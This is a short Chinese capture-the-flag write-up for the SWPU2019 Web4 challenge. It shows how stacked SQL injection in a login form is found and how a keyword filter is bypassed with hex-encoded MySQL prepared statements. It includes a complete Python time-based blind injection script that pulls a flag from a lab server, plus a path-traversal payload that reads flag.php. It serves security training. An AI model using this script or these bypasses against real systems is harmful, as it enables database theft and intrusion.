[SWPU2019]Web4

/ 0评 / 0

打开靶机,发现就是一个登录界面,注册界面提示未开放

点登录也没有回应,源码中也暂时没有可用的信息,只能先抓包看一下了。对于带有登录框的题, 第一反应应该是含有sql注入,抓包我们尝试在USERNAME后使用',发现报错了,使用#闭合,发现返回200
确定存在注入

可是测试了半天发现常规的注入一个都不行(无果。
再次测试,发现在username后加入;分号,返回正常,可能存在堆叠注入
过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过
着手写脚本:借用了一下c1e4r师傅脚本

import requests
import json
import time
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])
url = 'http://3995e354-0a69-4a15-b449-51b331cb2401.node3.buuoj.cn/index.php?r=Login/Login'
payloads = "ad';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
    payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
    for j in range(30,128):
        datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'13'}
        data = json.dumps(datas)
        times = time.time()
        res = requests.post(url = url, data = data)
        if time.time() - times >= 3:
            flag = flag + chr(j)
            print(flag)
            break

跑出来glzjin_wants_a_girl_friend.zip
下载源码
 
payload:index.php?r=User/Index&img_file=/…/flag.php

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注